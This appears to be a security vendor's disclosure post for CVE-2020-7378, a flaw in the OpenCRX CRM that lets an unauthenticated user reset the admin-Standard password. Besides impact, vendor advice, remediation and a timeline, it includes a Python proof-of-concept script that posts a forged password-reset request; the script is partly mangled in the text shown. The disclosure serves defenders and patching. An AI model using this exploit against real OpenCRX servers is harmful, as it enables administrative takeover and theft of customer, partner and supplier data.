Last updated at Wed, 27 Dec 2023 15:09:24 GMT

OpenCRX version 4.30 and version 5.0-20200717 suffers from an unverified password change vulnerability, which is an instance of CWE-620. This vulnerability has a CVSSv3 score of 9.1, which is usually CRITICAL, since it effectively allows anyone who can connect to the OpenCRX server to change the password of the admin-Standard user (or the password of any other user).

Product description

OpenCRX is an open source customer relationship management (CRM) application from CRIXP Corp, and is used to manage sales and marketing pipelines in a variety of organizations, primarily in European markets. More about OpenCRX can be found at the project's website, as well as its GitHub repo.


This issue was discovered by senior web application penetration tester Trevor Christiansen. It is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Exploitation of CVE-2020-7378

While taking the Offensive Security Web Expert (OSWE) certification exam, an intensive, timed, hands-on web application security lab, Trevor went a little bit the beaten path. While the OSWE is designed with some intentionally vulnerable web applications that the student is intended to exploit, he ended up discovering a previously unknown vulnerability in the OpenCRX instance installed in the lab. Specifically, Trevor discovered that OpenCRX version 4.3.0 allows for a malicious user to reset the password for the ‘admin-Standard’ user without knowledge of the existing password or access to a password reset token, due to a failure to validate the 'token' parameter in the password change request. This vulnerability was also present in the then-latest 5.x branch of the application as well.

The vulnerability can be demonstrated with the following Python script.

#!/usr/bin/env python

OpenCRX Reset admin-Standard password

import sys
import logging
from urllib3.exceptions import InsecureRequestWarning

import click
import requests

    'http': '',
    'https': ''

    format="{asctime} [{threadName}][{levelname}][{name}] {message}",
    style="{", datefmt="%H:%M:%S",
log = logging.getLogger(__name__)

@click.option('-u', '--url', required=True, help='URL of the OpenCRX server')
@click.option('-p', '--password', required=True, help='New password for the admin-Standard account')
@click.option('-P', '--use-proxy', is_flag=True)
def cli(url, password, use_proxy):"Resetting the admin-Standard account password to {password}")
    if url.endswith('/'):
        url = url + "PasswordResetConfirm.jsp"
        url = url + "/PasswordResetConfirm.jsp"
    data = {
        't': 'f',
        'p': 'CRX',
        's': 'Standard',
        'id': 'admin-Standard',
        'password1': password,
        'password2': password,
    if use_proxy:
        resp =, data=data, proxies=PROXIES, verify=False)
        resp =, data=data, verify=False)
    if "Password successfully changed" in resp.text:"Password for admin-Standard has been changed to {password}")
        log.critical("Something went wrong!")

if __name__ == "__main__":

Vulnerability impact

The attack is limited primarily by the fact that OpenCRX is generally not exposed to the internet and is usually deployed as an internal web application. So, an attacker would first need to somehow connect to the OpenCRX server. However, being a web application, it's not unthinkable to imagine that there may be a few exposed to the public internet.

Once an attacker has control of the OpenCRX server, the attacker can then manage all aspects of the organization's customer management system, which can reveal sensitive information about customers, partners, and suppliers.

Vendor statement

CRIXP Corp. recommends upgrading openCRX to version 5.0-20200904  or newer. If an immediate upgrade is not possible, the following wizard should be removed from your deployment: RequestPasswordReset.jsp.

Remediating CVE-2020-7378

This issue was fixed in pre-release version v5.0-20200904. Users who cannot update right away should disable the RequestPasswordReset.jsp wizard, as suggested by the vendor. If that mitigation cannot be performed, those users should review their network segmentation and exposure of OpenCRX to untrusted networks.

Disclosure timeline

  • Friday, Aug. 21, 2020: Issue discovered by Trevor Christiansen
  • Thursday, Aug, 27, 2020: Initial disclosure to CRIXP.
  • Friday, Aug. 28, 2020: CRIXP confirmed the issue and CVE-2020-7378 reserved
  • Sunday, Aug. 30, 2020: A fix was pushed to the class in OpenCRX
  • Tuesday, Nov. 24, 2020: Public disclosure via publication of this blog post


Get the latest stories, expertise, and news about security today.